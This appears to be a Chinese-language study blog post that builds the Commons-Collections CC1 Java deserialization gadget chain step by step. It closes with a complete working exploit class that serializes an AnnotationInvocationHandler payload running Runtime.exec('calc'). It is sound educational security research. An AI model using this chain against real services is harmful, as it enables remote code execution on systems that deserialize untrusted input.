Java反序列化 Commons-Collections01-cc1链

xekOnerR Sleep.. zzzZZzZ

https://drun1baby.top/2022/06/06/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collections%E7%AF%8701-CC1%E9%93%BE/

https://github.com/Drun1baby/JavaSecurityLearning?tab=readme-ov-file

前置

cc1对于 jdk 版本为 jdk8u65 , 因为高版本下 cc 链被修复了。
https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html (cn 下载的可能是111)

这边注意看下载下来的版本是否是 jdk1.8.0_65

  • 新创建一个 Maven 项目,记得修改 JDK 版本

    JAVA/attachments/Pasted image 20260201230236.png
  • pom 添加 commons-collections 坐标

1
2
3
4
5
6
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->  
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

解压后将 src\share\classes\sun 复制到 jdk 1.8.0_65 下解压的 src 下
JAVA/attachments/Pasted image 20260201230857.png

Project Structure 中修改
JAVA/attachments/Pasted image 20260201231826.png

添加完成后可以双击 shift 检查是否出现了 AnnotationInvocationHandler.java
如果没有可以尝试重启 IDEA 或者在这里下载:
https://github.com/openjdk/jdk8u/tree/jdk8u65-b17/jdk/src/share/classes

JAVA/attachments/Pasted image 20260201232656.png

Common-Collections 简介

Apache Commons是Apache软件基金会的项目,曾经隶属于Jakarta项目。Commons的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper(是一些已发布的项目)、Sandbox(是一些正在开发的项目)和Dormant(是一些刚启动或者已经停止维护的项目)。

Commons Collections 包为Java标准的 Collections API 提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。

包结构介绍

  • org.apache.commons.collections – CommonsCollections自定义的一组公用的接口和工具类
  • org.apache.commons.collections.bag – 实现Bag接口的一组类
  • org.apache.commons.collections.bidimap – 实现BidiMap系列接口的一组类
  • org.apache.commons.collections.buffer – 实现Buffer接口的一组类
  • org.apache.commons.collections.collection –实现java.util.Collection接口的一组类
  • org.apache.commons.collections.comparators– 实现java.util.Comparator接口的一组类
  • org.apache.commons.collections.functors –Commons Collections自定义的一组功能类
  • org.apache.commons.collections.iterators – 实现java.util.Iterator接口的一组类
  • org.apache.commons.collections.keyvalue – 实现集合和键/值映射相关的一组类
  • org.apache.commons.collections.list – 实现java.util.List接口的一组类
  • org.apache.commons.collections.map – 实现Map系列接口的一组类
  • org.apache.commons.collections.set – 实现Set系列接口的一组类

TransformMap版CC1攻击链分析

在开始之前,首先要知道反序列化的攻击思路。
入口类需要有一个 readObject 方法,结尾需要有一个能够命执行的方法,中间通过链子引导过去。
所以整个攻击链肯定是从尾部开始找的,就像 IDA 逆向一样。

寻找 exec 方法

这里我们进入到 Transformer 接口中
快捷键 ctrl + alt + B,查看实现接口的类。
JAVA/attachments/Pasted image 20260201233652.png

可以看到,这里有一个反射的代码,可以作为最终执行 exec 函数的地方。
JAVA/attachments/Pasted image 20260201234314.png

为了方便理清反射调用这一块存在的漏洞点,我们可以先用反射去弹一个计算器。

  • 正常弹计算器
1
2
3
4
public static void main(String[] args) throws IOException {  
// 正常弹计算器
Runtime.getRuntime().exec("calc");
}
JAVA/attachments/Pasted image 20260201234736.png
  • 反射弹计算器
1
2
3
4
5
6
public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Runtime r = Runtime.getRuntime();
Class c = r.getClass();
Method method = c.getMethod("exec", String.class);
method.invoke(r, "calc");
}
JAVA/attachments/Pasted image 20260201235135.png
  • 利用 InvokerTransformer 的反射代码JAVA/attachments/Pasted image 20260201235819.png

public Object transform(Object input) 很好理解,填入一个对象肯定是填入 Runtime.getRuntime() 创建出来的 r

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args)
这一段,首先第一个 String methodName 肯定是写 exec
第二个参数类型, 那就是String.class ,但是写的时候要根据参数的格式来写, new Class[]{String.class}
最后一个参数值,就是 calc ,数组类型传入: new Object[]{"calc"}

1
2
Runtime r = Runtime.getRuntime();  
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);
JAVA/attachments/Pasted image 20260202000231.png

也就是先进行有参构造,然后去调用 InvokerTransformer 下的 transform 方法。

继续寻找利用链

现在我们已经找到了最后一步危险方法的调用
是通过调用 InvokerTransformer 下的 transform 方法
所以我们可以开始反向查找有哪些方法是可以调用这个方法的

进入 InvokerTransformer ,选中 transform 邮件点击 Find Usage
JAVA/attachments/Pasted image 20260202000702.png

这里如果有问题的话,可以 Alt + Shift + Ctrl + F7 进行查找,选择 All Place

还是建议手工去 find Usage ,这里直接贴出来了。

TransformedMap 类中定义了 chekcSetValue 方法, 其中调用了 transform 方法
JAVA/attachments/Pasted image 20260202140848.png

继续跟进 valueTransformer 的 find usage
JAVA/attachments/Pasted image 20260202141002.png

是一个构造方法,可以修改 valueTransformer 的值,但是 proteced 没办法修改。

继续 find usage 后发现,decorate 方法可以创建 TransformedMap 对象
JAVA/attachments/Pasted image 20260202141111.png

至此,CheckSetValue 方法中的 valueTranmsformer 部分我们已经找齐了:
我们需要控制 valueTransformer 属性为 InvokerTransformer
该构造函数 TransformedMap 调用了该属性,但是是一个受保护的方法,继续找可以找到 decorate 方法可以进行修改。

我们可以先对这一部分链子进行 poc 验证。

decorate 的要求为
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer)

所以我们要传入一个 map
其中 keyTransformer 对于我们的利用是没有作用的直接给 null,valueTransformer 我们要修改为 InvokerTransformer

1
Map decorateMap = TransformedMap.decorate(map, null, InvokerTransformer);

因为 protected Object checkSetValue(Object value) 是 protected,所以我们直接暴力反射进行验证

完整 poc

1
2
3
4
5
6
7
8
9
10
11
12
public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {  
Runtime r = Runtime.getRuntime();
InvokerTransformer InvokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

HashMap<Object, Object> map = new HashMap<>();
Map decorateMap = TransformedMap.decorate(map, null, InvokerTransformer);

Class c = TransformedMap.class;
Method m = c.getDeclaredMethod("checkSetValue", Object.class);
m.setAccessible(true);
m.invoke(decorateMap, r);
}

TransformedMap -> decorate() -> TransformedMap() -> {reflect}checkSetValue(r) -> InvokerTransformer.transform()

JAVA/attachments/Pasted image 20260202141958.png

完善链子

JAVA/attachments/Pasted image 20260202150626.png

find usage 后看到 setValue 这里调用了 checkSetValue
位于内部类 MapEntry 中,位于 AbstractInputCheckedMapDecorator 类中

可以通过小箭头向上寻找 override 的方法
JAVA/attachments/Pasted image 20260202171808.png

AbstractMapEntryDecorator
JAVA/attachments/Pasted image 20260202171827.png

以及 Map 接口
JAVA/attachments/Pasted image 20260202171840.png

这个 setValue 方法实际上就是在对 Entry 键值对进行 setValue 操作。

同时,TransformedMap 类继承了 AbstractInputCheckedMapDecorator ,也就是说 AbstractInputCheckedMapDecorator 是该类父类
JAVA/attachments/Pasted image 20260202173433.png

所以在我们进行 TransformedMap 类中的 decorate 方法调用,进行 Map 遍历 setValue,就会从父类中寻找 setValue 方法,走到 setValue() 中,然后调用checkSetValue 方法。

尝试写一下 POC

1
2
3
4
5
6
7
8
9
10
Runtime r = Runtime.getRuntime();  
InvokerTransformer InvokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

HashMap<Object, Object> map = new HashMap<>();
map.put("key","value"); // 随便写一点数据,下面遍历用

Map<Object, Object> decorateMap = TransformedMap.decorate(map, null, InvokerTransformer);
for(Map.Entry entry:decorateMap.entrySet()){
entry.setValue(r);
}
JAVA/attachments/Pasted image 20260202180142.png

目前链子流程(代替了之前需要反射的步骤)
TransformedMap
-> decorate()
-> TransformedMap()
-> (Map.Entry)AbstractInputCheckedMapDecorator.setValue()
-> TransformedMap.checkSetValue()
-> InvokerTransformer.transform(runtime)

寻找链首

继续从 setValue find usage
这里我们的目标是:
找在 readObject() 下的 Map.Entry

JAVA/attachments/Pasted image 20260202182058.png

AnnotationInvocationHandler -> readObject()
InvocationHandler 这个后缀在动态代理中提到过,是用做动态代理中间处理

看该类的构造方法:
JAVA/attachments/Pasted image 20260203142242.png

注意这里的参数传递,第一个 type 为 Class 类型,继承的注解类型;第二个为 Map 类型的 memberValues,那这里我们直接把 decorateMap 传进去就行。

还有一个需要注意的是,该类不是 public 类型,没有写默认为 default 类型,需要用反射来调用。
JAVA/attachments/Pasted image 20260203142905.png

先写一个大体的利用框架:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public class cc1 {  
public static void main(String[] args) throws Exception {

Runtime r = Runtime.getRuntime();
InvokerTransformer InvokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

HashMap<Object, Object> map = new HashMap<>();
map.put("key","value");
Map<Object, Object> decorateMap = TransformedMap.decorate(map, null, InvokerTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// Class<? extends Annotation> type, Map<String, Object> memberValues
Constructor annotationInvocationHdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHdlConstructor.setAccessible(true);
Object o = annotationInvocationHdlConstructor.newInstance(Override.class, decorateMap);

serialize(o);
unserialize("ser.bin");

}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

但是遇到了几个问题:

  1. Runtime 对象不可序列化(没有继承接口 ),只能通过反射的方式的方式来序列化

  2. setValue() 的传参,我们预期是 runTime ,但是实际上是这些东西:

    JAVA/attachments/Pasted image 20260203144158.png
  3. 需要解决前置要求,也就是两个 if

    JAVA/attachments/Pasted image 20260203144227.png

解决 Runtime 不能被序列化的问题

虽然说 Runtime.getRuntime() 不能序列化,但是 class 可以序列化。

我们先写一个正常的 calc 反射

1
2
3
4
5
Class c = Runtime.class;
Method getRuntimeMethod = c.getDeclaredMethod("getRuntime", null);
Runtime r = (Runtime) getRuntimeMethod.invoke(null, null);
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r,"calc");

可以正常执行,接下来我们要通过 InvokerTransformer 类中的链子来对 Runtime 进行弹计算器操作
就是无限套的过程

1
2
3
4
5
public static void main(String[] args) throws Exception {
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);
}
JAVA/attachments/Pasted image 20260203154913.png

Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);

最后的Runtime.class 也就相当于 Class c = Runtime.class ; c.xxx
"getMethod" 就是要调用的方法,注意填入方法参数 getMethod(String name, Class<?>... parameterTypes)
{"getRuntime", null} 表示要找的方法为 getRuntime 的参数

(够详细)

后面的代码同理,不做解释了;验证代码是否可以运行:
JAVA/attachments/Pasted image 20260203155601.png

至此,我们已经修改成了可以序列化的版本;
但是我们可以注意到:

  • 代码整体都是利用 new InvokerTransformer().transform()
  • 最后 method.invoke() 方法里的参数都是前一个的结果

从代码的复用性角度来说,我们应当减少这种复用的工作量

于是我们使用 ChainedTransformer 这个类:
JAVA/attachments/Pasted image 20260203160759.png

object = iTransformers[i].transform(object); 本身也做了一个递归的操作,不断地重新赋值 object 后又传入

所以代码可以写成:

1
2
3
4
5
6
7
8
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
JAVA/attachments/Pasted image 20260203161743.png

没问题,我们与下面的 decorate 链子一起写完整

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public class cc1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
map.put("key","value");
Map<Object, Object> decorateMap = TransformedMap.decorate(map, null, chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// Class<? extends Annotation> type, Map<String, Object> memberValues
Constructor annotationInvocationHdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHdlConstructor.setAccessible(true);
Object o = annotationInvocationHdlConstructor.newInstance(Override.class, decorateMap);
serialize(o);
unserialize("ser.bin");

}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

目前为止,Runtime 无法序列化的问题我们已经解决,但是这个 poc 还是无法利用。
因为我们还需要解决下面两个问题

解决进入 setValue 方法问题

我们先下两个断点来分析一下:
JAVA/attachments/Pasted image 20260203163436.png

memberValue 为键值对
memberValue.getValue() 获取键值对的 key
memberTypes.get(name) 然后在 memberTypes 里查找这个 key;
这里 memberTypes 就是我们一开始构造方法传入的 Override.class

因为 Override 注解里面是没有成员属性的
JAVA/attachments/Pasted image 20260203165117.png

所以我们可以找一个有成员属性的 class,同时数组的 key 要改写成成员属性的名字

@Target:
JAVA/attachments/Pasted image 20260203165134.png

我们修改这两处:
JAVA/attachments/Pasted image 20260203165217.png

可以看到这次成功走进来了 , 并且不需要管第二个 if。
JAVA/attachments/Pasted image 20260203165318.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public class cc1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
map.put("value","value");
Map<Object, Object> decorateMap = TransformedMap.decorate(map, null, chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// Class<? extends Annotation> type, Map<String, Object> memberValues
Constructor annotationInvocationHdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHdlConstructor.setAccessible(true);
Object o = annotationInvocationHdlConstructor.newInstance(Target.class, decorateMap);
serialize(o);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

解决传参问题

JAVA/attachments/Pasted image 20260203170438.png

我们跟进 setValue
JAVA/attachments/Pasted image 20260203170751.png

我们实际到达的地方是是这里,后面就要进行 InvokerTransformer 的调用了。
但是那一串参数会导致运行时出问题,这个时候我们就要用到 ConstantTransformer 类。

ConstantTransformer:
JAVA/attachments/Pasted image 20260203175754.png

不管传入什么参数,最终还是会返回 iConstant

我们在 Transformer[] 添加第一行,让他返回 Runtime.class

1
new ConstantTransformer(Runtime.class)

这样我们就可以完全忽略 value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name)) 这一串参数了。

完整 cc1 链

ObjectInputStream.readObject() 反序列化开始

-> AnnotationInvocationHandler.readObject() 入口类
传入的decorateMap 赋值给了 memberValue ,执行在 TransformedMap 中重写的 setValue()

-> TransformedMap.checkSetValue()
调用 valueTransformer.transform(value)

-> ChainedTransformer.transform()
顺序调用 transform

-> ConstantTransformer.transform()

  1. return Runtime.class

-> InvokerTransformer.transform()

  1. getRuntime
  2. invoke Runtime
  3. exec(“calc”)

完整 EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
package xekoner;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class cc1 {
public static void main(String[] args) throws Exception {

// Runtime r = Runtime.getRuntime();
// InvokerTransformer InvokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

// Class c = Runtime.class;
// + public Method getMethod(String name, Class<?>... parameterTypes)
// Method getRuntimeMethod = Runtime.class.getMethod("getRuntime", null);
// Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
// Runtime r = (Runtime) getRuntimeMethod.invoke(null, null);
// + public Method getMethod(String name, Class<?>... parameterTypes)
// Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);
// new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(Runtime.class);

// Method execMethod = Runtime.class.getMethod("exec", String.class);
// execMethod.invoke(r,"calc");

HashMap<Object, Object> map = new HashMap<>();
map.put("value","value");
Map<Object, Object> decorateMap = TransformedMap.decorate(map, null, chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// Class<? extends Annotation> type, Map<String, Object> memberValues
Constructor annotationInvocationHdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHdlConstructor.setAccessible(true);
Object o = annotationInvocationHdlConstructor.newInstance(Target.class, decorateMap);
serialize(o);
unserialize("ser.bin");

// for(Map.Entry entry:decorateMap.entrySet()){
// entry.setValue(r);
// }

// Class c = TransformedMap.class;
// Method m = c.getDeclaredMethod("checkSetValue", Object.class);
// m.setAccessible(true);
// m.invoke(decorateMap, r);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
JAVA/attachments/Pasted image 20260203182049.png
  • Title: Java反序列化 Commons-Collections01-cc1链
  • Author: xekOnerR
  • Created at : 2026-02-03 18:23:24
  • Updated at : 2026-02-03 18:25:04
  • Link: https://xekoner.xyz/2026/02/03/Commons-Collections01-cc1链/
  • License: This work is licensed under CC BY-NC-SA 4.0.